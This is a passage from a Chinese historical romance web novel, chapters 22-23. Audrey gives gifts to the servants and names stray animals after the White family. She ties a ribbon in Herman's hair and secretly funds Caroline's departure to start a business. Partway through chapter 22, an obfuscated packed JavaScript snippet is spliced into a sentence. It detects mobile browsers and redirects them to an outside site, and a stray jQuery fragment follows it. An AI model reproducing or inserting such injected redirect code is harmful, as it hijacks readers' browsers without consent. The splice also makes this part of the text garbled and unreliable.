看见上面一串的零,奥黛丽觉得对面那双冰冷的银灰色眼睛无比温暖! “遵命!” 奥黛丽掉头出门,捧着支票狠狠亲了两口! 她本来只想要个一百两百的小钱,这里足足有一千锡兰币!都能买下一栋小房子了! 赫尔曼·怀特!大好人! 奥黛丽高兴地在走廊转圈圈,蕾丝花边裙摆像花朵一样绽放。 身后,查尔斯含笑,挑眉道:“看看,这才是年轻孩子该有的样子,但愿她的快乐能够感染你,年轻但古板的怀特先生。” “多谢,但不需要。”赫尔曼收回视线,“你该跟年轻孩子说,让她珍惜还能用钱买到快乐的时候。” 查尔斯大笑,再次看向已经转圈转到楼下的奥黛丽。 厅堂里,奥黛丽终于从发了一笔小财的喜悦里抽离。 忽然,她耸了耸鼻子,再次闻了闻支票。 上面除了散发金钱的味道,似乎还有一股淡淡的……雪松味? 22. 第 22 章 奥黛丽原地站了数秒,很快把不切实际的猜测抛在脑后。 难道说银头发先生昨晚不睡觉,爱心大爆发?突然来到她的房间,不仅给她披上毯子,还贴心关好窗户?那不如相信爸爸变身钢铁猛男、安娜姨妈成为投资精英、姐姐捏着她的袖子嘤嘤哭。 她是有点恋爱脑,但又不傻! 奥黛丽自信掌握真相,捏着支票召集露西上街! 查尔斯的调侃一点儿错都没有,论花钱这一块,诺曼小姐十分称职。 一个下午的时间,空马车被塞满,迎接的男仆们足足搬了三趟。 - 傍晚,高强度工作了一整天的怀特先生终于感到疲惫,摇晃铃铛,准备叫一杯红茶。等待的间隙,又插空处理了几项业务。 五分钟过去,终于发觉不对劲。 仆人还没来? 与老钱们打交道的麻烦、新铁路开发遇到的瓶颈、要和理查德那个老东西玩心眼……一瞬间,种种烦躁涌上心头。 赫尔曼眉头微皱,他揉了揉山根,纾解太阳穴的胀痛,戴着丝质手套的左手规律地敲击桌面。 如果查尔斯看见这一幕,一定知道雇主此刻的愠怒。 温斯顿庄园的人都知道,怀特先生极度讨厌意外。 计划以外的东西,无论是惊喜还是麻烦,都令他厌恶。 因为它一定会破坏原有的规律,像一段铁路突然开叉,意味着效率的滞后和凭空出现的凌乱! 所以仆人们谨守本分,从不敢触碰雷区。 平日里,从咖啡温度和牛排几分熟、到几点吃饭几点沐浴等,通通都有严格的规定,赫尔曼本人也像机器人一般严格执行。 上行下效,整座庄园的仆人全是安静的机器人。 像今天这样——等待传唤的仆人五分钟不到位,就可以自请离职或是被发配到村子里捡牛粪。 片刻后,赫尔曼站起身,往楼下走去。 看脸色的冷峻程度,他的确准备这么做。 幸运的是,路上一个人也没有。 平日里忙碌而有序的仆人通通不见踪影,厅堂安静得诡异。 赫尔曼眉头皱得更紧。 忽然,几道欢快的笑声从半开的娱乐室中传来。 娱乐室其实是一个大花厅,十分宽敞,闲时里供女士们喝下午茶、打牌或看书,要举办晚宴时还能用来当舞池。 从前家里没有女主人,这间花厅与其他大部分区域都被闲置,直到奥黛丽来了才开始启用。 库珀夫人的到来,让奥黛丽多了一位伙伴,于是这间屋子便被命名娱乐室。 离得越来越近,笑声越发清晰。仔细听,里面的人还不少,笑声忽高忽低,像是被什么东西逗的。 银头发先生面色愈发冷酷,毫不客气地举起手杖推开大门—— “砰——” 不轻不重的开门声,让第一个回头的人僵住笑容。 “怀、怀特先生。” 一瞬间,笑声戛然而止,所有人都回过头来,沉默肉眼可见地蔓延。 赫尔曼面无表情,握着手杖的指节微微攥紧。 庄园里几乎所有仆人都聚在这里。 花厅中央,不知哪里搬来的长木桌被拼凑在一起,上面摆放着各色小玩意儿,远远看去像是摆摊,事实也的确如此。 摊主奥黛丽站在长桌内侧,从大箱子里往外掏东西;查尔斯戴着滑稽的五彩假发,坐在旁边充当记账员;连卡洛琳都被指使着念花名册,虽然顶着臭脸。 被叫到名字的仆人排着队从奥黛丽手上接过漂亮小纸盒。 盒子里东西各不相同,但都有用蝴蝶结精心包装,上面用花体字写着他们的名字。从刚才的笑声判断,大家都很满意。 然而这一切都中止在赫尔曼到来的这一刻。 卡洛琳当先翻了个白眼,把花名册往奥黛丽怀里一扔:“我就说不该做这种蠢事,如果他们失去饭碗那都是你害的。” 赫尔曼最讨厌脱轨。 擅离职守的仆人、被脚印踩得黑乎乎的地毯、查尔斯花里胡哨的假发、胖厨娘夸张的粉红围裙……所有想象不到的乱七八糟这里应有尽有。 奥黛丽不像卡洛琳这样敬畏赫尔曼。她还准备打招呼,刚举起手,就被身边突然凝重的气氛吓一跳。 看看赫尔曼,又看看冻成冰雕的大家,她后知后觉地放下手,神情也有点小心翼翼。 “你生气了?怀特先生。”奥黛丽慢吞吞走到赫尔曼面前,水蓝色眼睛好奇地盯着他。 说她不怕,声音又透着胆怯;说她怕,还肆无忌惮地问。 “他们不是故意离开岗位的,大家工作辛苦,我给他们买了礼物。”奥黛丽顿了顿,又讨好地补充,“用你的钱。” 赫尔曼瞥了她一眼。 他不瞎,当然看得出来。 帮他邀功?可惜他不需要。 他不会花时间大发雷霆和一群仆人计较,毕竟制定规则就是为了严格管理。 不遵从就走,薪水丰厚的温斯顿从来不缺人。 赫尔曼的视线刮过查尔斯,后者作为跟随多年的助手,当然明白他的意思。于是极力想避开,但还是没躲过,只好讪讪地摘掉五彩假发。 “怀特先生,仆人们服务温斯顿多年,这点小事无伤大雅……”查尔斯试图帮即将被炒鱿鱼的仆人们求情,声音在雇主逐渐冰冷的目光下越来越低,怕再说下去自己也要滚蛋。 “今晚九点之前。”赫尔曼缓缓开口,下最后通牒,“让他们……” 话音未落,某团触感似棉花的东西撞上他的脚,还发出糯叽叽的动静,“汪汪。” 他低头,和一只巴掌大的小狗崽对视。 狗崽眼珠漆黑溜圆,扒着他的裤腿仰头看,脖子上挂着小名牌,写着:帕比·怀特。 很好,家里多了一位乱拉乱尿的新成员,彻底乱七八糟。 赫尔曼微眯眼,额角青筋跳动。 在他开口前,葛丽泰女士的声音响起:“帕比,过来奶奶这里。” 赫尔曼这才看见角落里的库珀夫人,抬眸的这一眼,青筋跳动的更厉害! 葛丽泰一手抱着帕比,一边给幼猫喂奶。 在她身后,大小不一的笼子里装着十几只猫猫狗狗,有点丁点儿大,有的瘦骨嶙峋,还有刚出生毛都没长齐的。 名牌上分别写着:哈米·怀特、黛西·怀特、乔治·怀特…… 通通都姓怀特! 赫尔曼深吸一口气,缓缓侧眸,对上水蓝色的眼睛。 “诺曼小姐,是你不经允许就让怀特家的族谱添加这么多名字?” “它们都是流浪猫狗,很可怜。”奥黛丽无辜地看着他,小声说,“还很可爱。” “是啊,赫利。你看它们多可爱!”葛丽泰摆弄着帕比的小爪子,给它名义上的父亲打招呼,“‘嘿,怀特先生,别板着脸,看我们多可爱啊!’” 小狗崽睁着圆眼睛看赫尔曼:“汪汪~” 奥黛丽也睁着圆眼睛看赫尔曼:“怀特先生……” 赫尔曼冷着脸移开视线。 葛丽泰笑着起身,“别扫兴,赫利。诺曼小姐多体贴,还帮你给他们准备礼物!大家为庄园辛勤服务,偶尔休息没什么大不了。” 库珀夫人的话令气氛缓和,紧张到发抖的仆人们悄悄松了一半的气,能不能彻底松,还要看雇主的眼色。 奥黛丽不知想到什么,眼睛一亮,“怀特先生,差点儿忘了!我给你也准备了礼物!” 她飞快跑到箱子边翻找,终于掏出一只小盒子。 “快看看是什么?”葛丽泰也好奇,笑着探出头看。 众人目光齐齐望去,盒子打开——是一条银灰色的缎面发带,上面绣着蔷薇花纹,十分精美。 葛丽泰的眼神却怔住,甚至带了些许不安。 除了她,没人知道赫尔曼讨厌他的头发。 埃尔美贫民窟容不下特殊,哪怕只是一头耀眼的银灰色长发。 大家都烂,凭什么你要发光? 干枯的橘红棕黄里,凭什么你与众不同? 泥潭里藏不了珍珠,因为污泥会用尽所有恶意拖拽着它——污蔑、谩骂、羞辱、打压、甚至是暴力、只为让它成为同类。 他付出极大的代价走出泥潭,但关于珍珠的记忆早被污泥覆盖。 葛丽泰再次偷觑儿子的表情,除了眉头拧紧,似乎没什么异状。 奥黛丽对此浑然不觉,双手献宝似的捧着缎带:“请看!漂不漂亮?是不是很适合你的发色?我上次逛街就看见了。” 蓝眼睛希冀地望着他,好像在说:看吧你也有,别生气了~ 赫尔曼盯着发带,不知在想什么,并不伸手接。 收礼物的人总是要推辞一下,显得客气有礼,奥黛丽自认为很明白,于是体贴地转到他身后:“我帮你束起来!” “呃——不——”葛丽泰瞪大眼睛,下意识阻止。 晚了一步,奥黛丽的手已经触碰到了那头银灰色的长发。 从看见赫尔曼的第一眼开始,奥黛丽就很想摸一摸他的头发。 她第一次见到这么特别的颜色。 不是干枯的白,也不是充满杂质的灰,而是光洁如丝绸般的银,像阴天的墨菲斯雪山,美丽而神秘。 如愿以偿地感受发丝滑过指尖的触感,奥黛丽将它们拢起来。 整个过程里,她专注又耐心,于是没有察觉指尖偶尔触碰的脊背过分僵硬。 众人只看见赫尔曼面无表情,头发被奥黛丽摆弄。看那攥紧手杖的指节,便觉山雨欲来。 没人看见他衣服底下每一寸肌肉紧绷,随着发丝被抚摸而掀起战栗。 葛丽泰的担忧如有实质, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15935231|176683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似乎害怕他下一刻就爆发。 可他不想辩解,自己不是因为被排挤欺负而痛哭的小赫利。 早在五岁以后就不是了。 从烂泥里爬出来的人没有软肋,更谈不上禁忌。 银灰色头发是赫利的噩梦,却是赫尔曼·怀特的标志,如今成为了别人的噩梦。 在此之前,他不是没有承受过各类眼光,有的用赞赏掩饰惊讶,有的假装司空见惯,哪怕查尔斯见他第一眼也用玩笑调侃。 但没有人如同此刻,睁着一双蓝眼睛,不带丝毫虚假地称赞,连手指触碰的力度都彰显着珍重。 赫尔曼缓缓闭上眼睛,察觉到那双手正在为银灰色头发系上丝带。 耳边是帕比·怀特还有其他十几个怀特们的叫声和……平缓而有力的心跳。 “咚、咚、咚……” 脉搏没有因为什么而加速,他当然不会像毛头小子似的,为廉价的赞美昏头。 于赫尔曼而言,她的赞美和旁人的诋毁没什么不同,都无关痛痒。 他只是感到奇怪。 伊莎贝尔·诺曼,真的很奇怪,总会做出一些让人意想不到的蠢事。 乱帮人过生日,给仆人买礼物,擅自替怀特家族添加成员,把这里弄得一团糟,让稳定行进的轨道开始偏航,而现在—— “嘣”地一声,一根发丝被扯断。 他眉心狠狠一跳! 奥黛丽连连道歉,还拍拍他的肩膀安抚:“抱歉抱歉,我不是故意的,我轻点,别生气。” 赫尔曼轻出一口气,睁开眼。 深灰色瞳孔盯着奥黛丽向众人展示成果,其他人笑容僵硬地称赞,一边偷觑着雇主的脸色。 只有水蓝色的眼睛毫无察觉地盈满笑意。 她不知从哪里找来镜子,高高举起:“赫尔曼你快看!发带很衬你!” 镜子倒映出俊美而冷酷的面孔,赫尔曼愣了一瞬。 不知是因为不经意喊出的“赫尔曼”,还是看见镜子里的自己。 奥黛丽自动将这反应解读为满意,高兴地向众人宣布:“怀特先生很喜欢我的礼物!放心好了,你们的工作肯定保住了!” 仆从们窃窃私语,不敢回应,仍然看着银头发先生。 周遭乱哄哄,他盯着那面镜子,似乎真的在欣赏那条美丽的发带。 只有窗边的卡洛琳视角清晰—— 她从赫尔曼进来那一刻起,就冷眼旁观,等待着诺曼小姐自讨苦吃。 同样从贫民窟挣扎爬起来的卡洛琳,在这一刻之前,都认为自己是世界上最了解赫尔曼的异性。 他们长着一样的硬骨头,倔强、坚韧、不服输。 那种分不清是钦佩还是向往的情绪一度令她不愿离开温斯顿。 荆棘能和温室里的金盏菊共存吗? 他们生存的环境天壤之别,浑身是刺的荆棘眼里会有那朵娇嫩的花吗? 这一秒前,她认为不能,而此刻——她分明看清那双深灰色眼睛里倒映的,是举着镜子的姑娘。 金发姑娘嘴唇翕动,还在向众人说着什么,神情灵动得像贵族森林里难以捕捉的小鹿。 银头发的男人,神情专注得连他自己也没有察觉。或许他什么也没听见,耳边只有心跳。 像日光照耀下的墨菲斯雪山,静静融化,却悄无声息,唯有路过的清风知道。 一种难以言喻地情绪从心脏开始蔓延,卡洛琳咬紧牙关,头也不回地走了出去。 屋内,帕比汪汪叫,黛西小猫要喝奶,仆人们紧张而忐忑,制造混乱的罪魁祸首诺曼小姐目光可怜。 一切都在脱轨。 赫尔曼强行移开视线,声音平缓镇静。 “今晚九点之前——” 众人神色一凝,齐齐看向赫尔曼。 偌大的花厅针落可闻,连奥黛丽都屏住呼吸。 肃穆气氛下,雇主先生冷酷下定判决:“把这里打扫干净。” 众人沉默,大气不敢喘。直到赫尔曼转身离开,才爆发出欢呼!年迈的厨娘甚至捂着嘴哭泣。 脚步渐行渐远,身后的嘈杂也渐渐抽离。 金发姑娘似乎在为自己引出的麻烦而道歉,声音愧疚又柔软,甚至宣布自掏腰包给仆人们补一个月的薪水。 赫尔曼无意识嗤笑,手杖敲击着大理石地面,发出冰冷的脆响。 跟上来的查尔斯正想恭维雇主的发带,试图提醒他照顾送礼人的钱包。 还没开口,一张支票夹在指尖,递到查尔斯眼前。 “给她。” 查尔斯:“?” 赫尔曼注视着他,语气公事公办:“下周她要代表怀特家去理查德小女儿的社交舞会,这是资金。” 查尔斯定睛一看,支票上又是一串零。 心里不由得痛恨资本家!什么舞会要这么多钱?! 23-30 第23章 “感谢你送上的时髦假发, 诺曼小姐,我一定会在万圣节当天戴上它扮演小丑。现在,不得不告诉你一个好坏参半的消息。”尽管内心吐槽, 查尔斯还是尽职地传达雇主的指令。 奥黛丽掏完腰包,自觉负罪感减轻了不少。笑着说:“那请先说好消息。” “好消息是你瘪下去的钱包又会鼓起来。”查尔斯递上支票, 再给眼前一亮的金发姑娘泼冷水, “坏消息是你要开始代表怀特家族出去交际, 第一站还是最难缠的布鲁森家族。” “布鲁森家族?” “嗯哼,理查德·布鲁森,雇主阁下目前的商业劲敌、肯特郡的老牌龙头商人、两年前陪上一大笔嫁妆, 把孙女布鲁森小姐嫁进伯爵府, 从此尾巴翘上天。”查尔斯挑眉, 感慨, “总之,是一位我们不得不打交道的老滑头。” 奥黛丽脸色犯难。 她最怕的就是出去交际。常常猝不及防就被要求展示才艺, 吃饭走路一举一动都有无数双眼睛审视。 “我有什么要注意的规矩吗?” 查尔斯没料到出身男爵府的小姐会怯场,很快又道:“放心, 有不懂的尽管去问卡洛琳,她对此了如指掌。” 刚说完, 就见卡洛琳不知道从哪里窜出来,冷哼一声离去。 “噢!这个坏脾气姑娘。”查尔斯摇头, 又看向奥黛丽,“别怕, 卡洛琳面冷心热,只要你主动,她愿意教你的。” 奥黛丽心不在焉,看着卡洛琳高挑的背影出神:“嗯!” - 温斯顿庄园花圃里种着百叶蔷薇,柔和的粉色花瓣层叠绽放。 卡洛琳坐在秋千上发呆,连蜜蜂在耳边嗡嗡飞都没有听见。 她的身份特殊,既是管家,也是商务助手。除了赫尔曼,没人能管她,所以大可自由自在地偷懒。 听起来是好事,可她知道别人背地里是怎么议论自己的,什么难听的话都有。 卡洛琳并不在乎,就像赫尔曼不在乎外界的评价。 底层出身的人,再不堪的情形都见过,怎么会因为流言蜚语挡住自己向上走的路呢? 日光绚烂,卡洛琳出神地望着来自赫斯兰的百叶蔷薇,那也是她出生的地方。 四岁跟随父母被流放埃尔美,她的记忆里只有矿洞棚户外灰黑的天,妈妈却告诉她,他们来自蔷薇盛开的地方,那里花开满园,富丽堂皇。 后来父母都死于那场大火,十岁的卡洛琳侥幸活了下来,跟着赫尔曼漂洋过海。 其实小卡洛琳知道,那个银头发少年不是什么善心人,他本不愿意带着她。是她拖着伤腿,亦步亦趋,跟着他走过一条条街巷。 他的松口,也许只是回头的那一眼,一念之差。 伤痕累累的小卡洛琳,眼神倔得像头狼崽子,手里却紧攥着一朵蔷薇花。 那是大火里残存的百叶蔷薇,注定不该属于埃尔美——就像银头发少年是贫民窟里的异类。 此后十年,赫利成为赫尔曼,而卡洛琳似乎还是卡洛琳,永远像那天一样,追随在他的身后,追赶他,仰望他。 其实他们的交流很少,上一次算得上正式的交谈,还是赫尔曼建议她和查尔斯一样,只做商业助手。 这有利于卡洛琳的事业发展。 毕竟,当下的时代,女性能有如此机会,实在难得。 但她拒绝了。 那时候,卡洛琳既想他追问,又怕他追问。 当时说的什么理由忘记了,总之赫尔曼没有反驳,任由她选。 她说想留在温斯顿,这里有她种下的百叶蔷薇,每当看见它,便会有种归属感。 赫尔曼只是吩咐查尔斯重新拟合同。 像是回到十岁那年的劫后逢生,她握着蔷薇站在命运的拐角,遇到那个冷酷的少年,从此人生开始不同。 “卡洛琳。” 突然,身后响起熟悉的声音,来自那位闯入者。 卡洛琳恍若未闻,奥黛丽却径直坐在她身旁,脚尖抵着地面,轻轻晃动着秋千。 对于不请自来的客人,卡洛琳皱眉,瞥着她:“如果是为查尔斯所说的事,我会抽时间把资料整理给你。没有其他问题就请离开,还我一个清静。” “不。”奥黛丽摇摇头,伸出背在身后的手,“我来给你送礼物,卡洛琳小姐。” 蝴蝶结盒子上面用花体字写着:卡洛琳·迪普小姐收。 卡洛琳移开视线,语气生硬:“别把讨好库珀夫人的那一套用在我身上,我知道你手段高明。” 虽然不知道手段高明指的什么,但奥黛丽把这当成夸奖,蓝眼睛弯了弯,“每个人都有,你为什么不收?” 卡洛琳紧抿唇角,垂眸不语。 “把它拆开看看吧,卡洛琳小姐。”奥黛丽温声说,“也许你会改变主意。” 卡洛琳愣了数秒,等反应过来,手已经鬼使神差地解开了蝴蝶结。 露出的一角粉色,让她目光微怔。 卡洛琳忽然不敢往上掀开。 另一只手代替她撕开包装——那一刻,粉色花朵海洋呈现在画框里。 “这幅画很早就画好了,可是我画功不好,有些送不出手。本想今天找个专业的画匠加工,结果没找到。”奥黛丽轻笑,“露西建议我过两天去,但我想啊,如果再延误几天,没收到礼物的卡洛琳小姐该有多伤心?” 卡洛琳下意识冷哼:“诺曼小姐,你在揣测人心方面的能力有待提高,没有你的礼物,我一点儿也不伤心。” “别嘴硬了,你明明就很期待,我都看出来了。”奥黛丽哼哼。 “你……” 卡洛琳想反驳,可是刚刚在娱乐室里,只有她没收到礼物,说不难过是骗人的。 可如果承认的话,也太没面子了。 卡洛琳瞪着奥黛丽,后者又用蓝眼睛无辜地看着她。 这家伙有时候机灵,有时候傻,真不知道是装的还是真的。 温室里的金盏菊就是会骗人! 她赌着气,盯着那副画,忽然问:“你为什么想到画百叶蔷薇?” “因为你时常来看它们。”奥黛丽又很得意于自己的观察力,“蔷薇的花语代表爱情,你肯定是有喜欢的人了!”“什、什么?”这话令卡洛琳心头一跳。 “真好啊,卡洛琳小姐。”可奥黛丽似乎只是随口一说,转而又道,“我真羡慕你。” “出身贵族养尊处优的小姐,羡慕我一个贫民窟来的穷丫头?”卡洛琳嗤笑。 “为什么不呢?”奥黛丽认真地看着她。 蓝眼睛里盈着温和的眸光,在这样的注视下,卡洛琳很快垂眸,身侧的手指无意识蜷缩。 “我羡慕你能自由选择人生。”奥黛丽看着花圃里迎风摇曳的蔷薇花,微笑道。 “就因为我拥有喜欢任何人的自由?” “不。”奥黛丽摇摇头,“喜欢不是自由,不喜欢才是自由。” 说着,她自己还笑了起来,“噢!这句话听起来很有哲理,一定记得写在信里。” 也许是提到写信,不知想到什么令奥黛丽眸光温暖,声音也低了下来。 “如你所见,我是一位不通音乐、不擅长烹饪与绘画的稀有贵族小姐。”奥黛丽眨眨眼,语气无奈,“有位睿智的女士曾经教我找到一生兴趣所在,但我并没有机会展示它们,更别提把热爱的东西发展成事业。” 卡洛琳露出疑惑的眼神。 奥黛丽摊手:“你总无法想象一位贵族小姐在舞会上,给爵士夫人们表演一段徒手开根号吧。” 卡洛琳噗嗤笑出声,很快又抿住嘴,干咳两声:“噢。确实很遗憾。” “也许吧,会有一点。”奥黛丽无意识地踮起脚尖,晃着秋千,裙摆在空中飘荡,“但我的人生还需要承担其他责任。” 卡洛琳:“为偿还你父亲的债务而嫁入温斯顿?” “是的,这算一桩。”奥黛丽毫不避讳,“可我并不因为要负起责任而遗憾,相反,能与家人团结一心走出绝境,于我而言很有意义。” 卡洛琳嗤笑,完美的阳光家庭范本,积极得令人生厌。 “我只是遗憾,我没能拥有向上选择的自由。” 奥黛丽一无所觉,轻晃着秋千。 诺曼家族的女士们为了度过危机竭尽全力,除此之外,其他的都是奢望。 微风吹起她的额发,蓝眼睛里倒映着万里晴空,说起话时眉间含笑,两个酒窝若隐若现。 “所以我说,我很羡慕你,卡洛琳小姐,你拥有很多珍贵的东西。”她自顾自说,“高尚的品格、卓越的能力、分明的个性、顽强的意志……” 卡洛琳听着一连串的溢美之词,像极了平日里听腻的恭维。 可不知怎么,从她嘴里说出来的话,就像真诚的雨露,让卡洛琳心底的种子开始发芽。 卡洛琳不想承认,在此之前,她对奥黛丽的敌意里,夹杂着一丝羡慕。 优渥的家世,高贵的出身,美丽的外表,令人喜欢的性格,就连所谓落魄,都是嫁到温斯顿养尊处优。 她想不出这样的人生有什么烦恼? 可当这样一个人,真诚地夸赞自己的时候,卡洛琳如同照镜子一般,跟随着对方的目光,第一次审视自己。 原来她有这么多优点。 卡洛琳微怔,绿色眼睛凝望着奥黛丽。 奥黛丽终于细数完卡洛琳一百零八个优点,忽然回头。 日光照在金发上,漂亮得像八音盒上的小天使,更像一朵美丽的金盏菊。 “总之,在我看来,怀特先生如果失去你这个得力助手,是很惨重的损失。反过来,假如你从一开始就和他齐头并进,未尝不能拥有他现在的成就。” 卡洛琳轻笑:“这句可算是恭维了。” “不,这不是你能力的问题。”奥黛丽学着查尔斯俏皮地眨眼,“是这个奇怪的地方迫使女士们总是低人一等。” “不过……”她顿了顿,憋着笑,轻声道,“必要的时候,你倒是可以把怀特先生当垫脚石~” 卡洛琳睨着奥黛丽,忽然也想笑,“诺曼小姐,是我小看你了。又是来自某位睿智女士的传授?” “当然,她说这叫团结一切可以团结的力量。”奥黛丽笑着说。 卡洛琳陷入沉思。 奥黛丽没有打扰她,迈着轻盈的脚步离开。 搁在膝盖上的画,的确算不得多么精美,可卡洛琳看了很久——百叶蔷薇被装进画框,连同回忆一起刻印在心里。 第二天,一份辞职报告出现在赫尔曼的案头。 他问往后有什么打算。 卡洛琳笑容坦然,耸肩道:“借你的光,去创业。” 赫尔曼和从前一样,什么也没多说,只是给了她一张数额不菲的支票。 如果是从前,她常为此失落。而此刻,有什么东西在心底破土而出,逼她挺起脊梁,从此不再跟随他,仰望他。 赫尔曼·怀特当然优秀、强大、令人钦佩。 可是比起得到他,好像赢过他更有意思。 卡洛琳笑纳支票,哼着歌离开庄园。 不知名的赫斯兰小调,随风飘扬,像她插在蕾丝帽檐的百叶蔷薇,带着故乡的记忆,洒脱地离开。 楼上,露西看着卡洛琳的背影远去,心里不由得松了口气。 她瞥了眼正在看书的奥黛丽,不禁感慨,天真的女士运气总是很好,既不知道危机降临,也不知道危机解除,情敌自己卷包袱走了。 一边想着,一边整理衣橱,突然发现最里面的保险箱有打开的痕迹。 露西一惊,立刻查看,发现里面那张数额庞大的支票不翼而飞? ! 那可是十万锡兰币!是赫尔曼给的聘礼,后来又被诺曼夫妇交给奥黛丽当嫁妆!不夸张的说,贵族小姐后半生全靠这笔钱活着了! 因为数额太大,在温斯顿也没有额外的花销,就算有也被奥黛丽讨来的零花钱涵盖了,所以这笔钱一直压箱底,由露西严加看管。 她抖着手继续翻,看见伊莎贝尔寄来的钱还在,心里半松一口气。 “小姐,是你动了里面的支票吗?” 奥黛丽回过头,像犯错被抓包的小孩,犹豫着不敢说话。 “我……露西,你先答应我,不能生气。” 露西的心一沉。 奥黛丽看向窗外:“我把它给了卡洛琳小姐,当作我的投资。” 露西白眼一翻,差点昏倒:“有合同吗?!” “没有……” “有确定是什么项目吗?” “没有……” 露西深吸一口气:“卡洛琳小姐本人知道吗?” 奥黛丽偷偷看向窗外,看见卡洛琳右手提着箱子,里面是自己送她的画,“现在还不知道,但我想很快就知道了。” 露西这下真的要昏倒了! 没合同,没项目,甚至连当事人自己都不知道,十万块就这么给出去了? !平时自己都舍不得花,怎么给一个外人这么大方! ! 奥黛丽赶紧扶着露西:“你放心,露西,卡洛琳小姐不是坏人,我相信我的投资会有所回报的!” 看着门外马车即将启程,钱给都给了,总不能抢回来?露西还能说什么呢? 只能祈祷卡洛琳是个好人。 露西长叹一口气,无奈地看着奥黛丽,“虽然我对卡洛琳小姐的为人不甚欣赏,但她的专业能力我是肯定的。希望她用你的钱开拓新事业,顺便帮你也赚到更多的钱。” 奥黛丽松了一口气,拥抱露西:“谢谢你没有责怪我!亲爱的露西。” “但我会写信一五一十地把这件事告诉另一位诺曼小姐。”露西残酷宣布这一消息,“下次您绝不可以擅自动用大笔资金。” 奥黛丽唯唯诺诺:“好吧,不过请你在信中多说点卡洛琳小姐的好话。” 露西再次深呼吸,忍不住想要提醒她,卡洛琳是潜在情敌! ! 等她准备开口,却看见再次投入的奥黛丽,连金色卷毛翘起来都不知道。 良久,露西无奈扶额。 算了,按照守恒定律,心大的人运气都很好。 露西轻手轻脚地合上门。 门内,奥黛丽从书中抬头,赤着脚跑向窗边。 窗台上晒着她用来做书签的蔷薇花,微风拂过,粉色花瓣洋洋洒洒,飘向空中。 马车里,卡洛琳打开装画的箱子,里面掉出一张支票和一封信。 她打开,看见数额是熟悉的一串零! 后面的信里写着简短的一行字:卡洛琳小姐,希望这笔钱可以帮到你,去做你想做的事情。永远坚定,永远乐观! 信件没有署名,卡洛琳却知道是谁。 眼泪洇湿纸张,模糊视线中,她看向城堡二楼,那扇打开的窗户。 粉色花雨里,她和那双水蓝色的眼睛对视。夏日暖阳洒在身上,如同金发姑娘的目光。 卡洛琳妥善收好支票,摩挲着信纸,心想——我不会让你失望的。 她擦干眼泪,朝那边挥了挥手。 二楼窗台,奥黛丽回送她一个飞吻。 似乎什么也不必说,又什么话都已说尽。 女孩们常以为能将爱意掩饰得很好,旁观者却能从眼角眉梢看得一清二楚。 可奥黛丽不能自以为是地去提醒对方,哪怕初衷是为对方好,那是一个女孩努力维持的自尊。 朦胧的情感是墨菲斯雪山上的薄雾,天晴了,雾就会散。那也是爱情消解时,最好的模样。 粉色花雨里,她目送着卡洛琳的马车走远,眸光温和。 奥黛丽想,露西也许不明白。漂洋过海而来的百叶蔷薇,不该拘束在庄园里。 她自由坚韧,要去向更远的地方- 卡洛琳离开后,新管家倒是不难找,难的是奥黛丽要独自去应对肯特郡的社交活动。 布鲁森家的舞会定在下周三,奥黛丽提前两天就开始焦虑,连帕比小狗都没办法逗她笑。 葛丽泰担忧地问了几句,听完原委也沉默了。 时下有了一定身份地位的家庭,总要融入当地社交圈,否则就是不合群。 葛丽泰不懂贵族礼仪,就算紧急培训,出了门也会露怯,所以她之前一直住在埃尔美躲避社交,这次要不是儿子结婚,她也不会过来。 “亲爱的,很抱歉我帮不上忙。”葛丽泰抱着黛西小猫给它喂奶,一边歉意地对奥黛丽笑。 奥黛丽摇摇头,一一查看流浪猫狗的状态,耸肩道:“别这么说,库珀夫人,要知道,能有一位和我一样恐惧社交活动的同伴,是很幸运的事。” 话是这么说,但奥黛丽即将成为怀特夫人,再不情愿也得硬着头皮赴约。 当天晚餐时,奥黛丽食不下咽,赫尔曼对此毫不意外。 银发先生慢条斯理地摘下手套,一边用湿巾擦手,一边抬眸看她:“伊莎贝尔小姐,一场宴会就把你难倒了?” 奥黛丽心不在焉地搅拌着餐盘里的咸汤。 要是真正的伊莎贝尔小姐,才不会被这种小场面难倒! 可她是奥黛丽小姐! 奥黛丽最怕了TT 深灰色的瞳孔将她无精打采的模样尽收眼底,赫尔曼似乎很看不惯她这幅样子。 他淡声道,“容我提醒你,你代表的是怀特家族。” “嗯?那怎么了?”奥黛丽懵懂地看着他,“她们不会要求我当众展示才艺吗?” 赫尔曼看着她,面无表情:“所以你在怕这个?” 奥黛丽皱起眉,认真看着他:“很可怕的,你别不当回事。我会给你丢脸的,怀特先生。” 有好几秒钟,赫尔曼对于自家未婚妻的无知程度感到震撼。 他不打算向她解释,作为崛起的新贵,肯特郡的任何宴会上都不会有人敢要求他的夫人展示才艺。 话说回来,贵族小姐不是对弹琴绘画都得心应手吗? 赫尔曼又看了奥黛丽一眼。 他到底娶了个什么回来? 葛丽泰作为同道中人,很是理解奥黛丽,握着她的手看向赫尔曼:“是啊,赫利,你别不当回事,有人享受宴会,就会有人抗拒,你帮诺曼小姐想想办法。” “嗯嗯!”奥黛丽回握住库珀夫人,两位女士同时央求地看向赫尔曼。 仿佛在指责他不通人情。 赫尔曼:“……” “明天莫尔太太会来拜访。”他放下餐巾,提步往外走,见奥黛丽还不懂,“她会和你一起参加宴会。” 奥黛丽:“莫尔太太?” 懒得理两个女人的疑惑,更懒得解释他早就跟莫尔打好了招呼,赫尔曼走出餐厅- 第二天清早,莫尔太太就坐着小马车赶了过来。 奥黛丽客气地请她坐下,招呼仆人上饮品,“莫尔太太喝什么?” 莫尔太太是个三十来岁的妇人,脸上笑容和蔼,甚至带了些讨好和拘谨。 “红茶,谢谢款待。” 奥黛丽笑着说:“不客气,下周的宴会,我还要仰仗您。” “噢,怀特太太,能为您和怀特先生服务是我们莫尔家的荣幸。”莫尔太太赶忙摆手,急切的动作差点把女仆送上的甜点架子打翻。 “没关心,您别着急,慢慢说。”奥黛丽招呼女仆收拾好掉落的甜点,安抚脸色涨红的莫尔太太。 